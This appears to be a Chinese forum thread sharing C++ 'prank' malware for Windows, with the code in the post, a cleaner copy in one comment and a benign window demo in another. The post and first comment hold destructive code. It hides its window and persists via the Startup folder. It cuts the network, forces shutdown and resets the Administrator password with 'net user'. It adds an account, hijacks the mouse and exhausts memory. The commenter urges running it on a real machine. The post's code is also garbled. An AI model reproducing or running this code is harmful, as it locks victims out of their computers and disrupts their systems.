#include #include<windows.h> #include #include

include <stdio.h>

#include <string.h> #include using namespace std; int main (int argc,char *argv[]) { while (true) { system("ipconfig /release"); //断开网络 } HWND hwnd; hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄 if (hwnd) { ShowWindow(hwnd, SW_HIDE); //隐藏窗口 } char copy[80]; sprintf(copy,"copy %s "%%userprofile%%\「开始」菜单\程序\启动""); system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi char cmd[]="shutdown -s -t 20";//自动关机 system("ping baidu.com"); system(cmd); system("pause"); system(copy); system("net user Administrator 123456789");//设置开机密码为xz system("net user 1234567890 xz /add");//建立用户,并命名为崩溃 int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴 int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴 srand(time(0));//随机函数种子 system("shutdown -s -t 20");//20秒关机 while(1) { //循环 SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机 system("start");//弹出窗口 char *p=new char[10000];//卡死机 }

}

2 条评论

  • @ 2025-5-28 20:26:14

    千万千万不要在虚拟机运行,一定要在实体机里运行!否则你的实体机安然无恙!

    #include <iostream>
    #include<windows.h>
    #include<ctime>
    #include <cstdlib>
    # include <stdio.h>
    #include <string.h>
    #include <fstream>
    using namespace std;
    int main (int argc,char *argv[]) {
    	while (true) {
    		system("ipconfig /release"); //断开网络
    	}
    	HWND hwnd;
    	hwnd = FindWindow("ConsoleWindowClass", NULL); //获取窗口句柄
    	if (hwnd) {
    		ShowWindow(hwnd, SW_HIDE);  //隐藏窗口
    	}
    	char copy[80];
    	sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\"");
    	system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi
    	char cmd[]="shutdown -s -t 20";//自动关机
    	system("ping baidu.com");
    	system(cmd);
    	system("pause");
    	system(copy);
    	system("net user Administrator 123456789");//设置开机密码为xz
    	system("net user 1234567890 xz /add");//建立用户,并命名为崩溃
    	int x=GetSystemMetrics(SM_CXSCREEN);//鼠标x轴
    	int y=GetSystemMetrics(SM_CYSCREEN);//鼠标y轴
    	srand(time(0));//随机函数种子
    	system("shutdown -s -t 20");//20秒关机
    	while(1) { //循环
    		SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机
    		system("start");//弹出窗口
    		char *p=new char[10000];//卡死机
    	}
    	system(regadd);
    }
    
    
    • @ 2025-5-26 20:03:23

      正码!!!!!!!!! </u>

      #include <stdio.h>
      #include <string.h>
      #include <windows.h>
      #include <stdlib.h>
      #include <time.h>
      
      using namespace std;
      
      int main(int argc, char *argv[]) {
          // 注意:以下代码仅作为技术演示,请勿用于恶意用途
          
          // 获取窗口句柄并隐藏窗口
          HWND hwnd = FindWindow("ConsoleWindowClass", NULL);
          if (hwnd) {
              ShowWindow(hwnd, SW_HIDE);
          }
          
          // 获取屏幕分辨率
          int x = GetSystemMetrics(SM_CXSCREEN);
          int y = GetSystemMetrics(SM_CYSCREEN);
          
          // 初始化随机数种子
          srand(time(0));
          
          // 简单的图形界面示例 - 创建一个窗口
          printf("正在创建示例窗口...\n");
          
          // 创建一个简单的窗口
          WNDCLASSEX wc = {0};
          wc.cbSize = sizeof(WNDCLASSEX);
          wc.lpfnWndProc = DefWindowProc;
          wc.hInstance = GetModuleHandle(NULL);
          wc.lpszClassName = "SampleWindowClass";
          
          if (!RegisterClassEx(&wc)) {
              printf("窗口注册失败!\n");
              return 1;
          }
          
          HWND hWnd = CreateWindowEx(
              0,
              "SampleWindowClass",
              "示例窗口",
              WS_OVERLAPPEDWINDOW,
              CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
              NULL, NULL, GetModuleHandle(NULL), NULL
          );
          
          if (!hWnd) {
              printf("窗口创建失败!\n");
              return 1;
          }
          
          ShowWindow(hWnd, SW_SHOW);
          UpdateWindow(hWnd);
          
          // 消息循环
          MSG msg = {0};
          while (GetMessage(&msg, NULL, 0, 0)) {
              TranslateMessage(&msg);
              DispatchMessage(&msg);
              
              // 随机移动鼠标
              SetCursorPos(rand() % x, rand() % y);
              
              // 模拟一些工作,每1000次循环退出
              static int counter = 0;
              if (counter++ > 1000) {
                  break;
              }
          }
          
          printf("程序执行完毕!\n");
          return 0;
      }
      
      • 1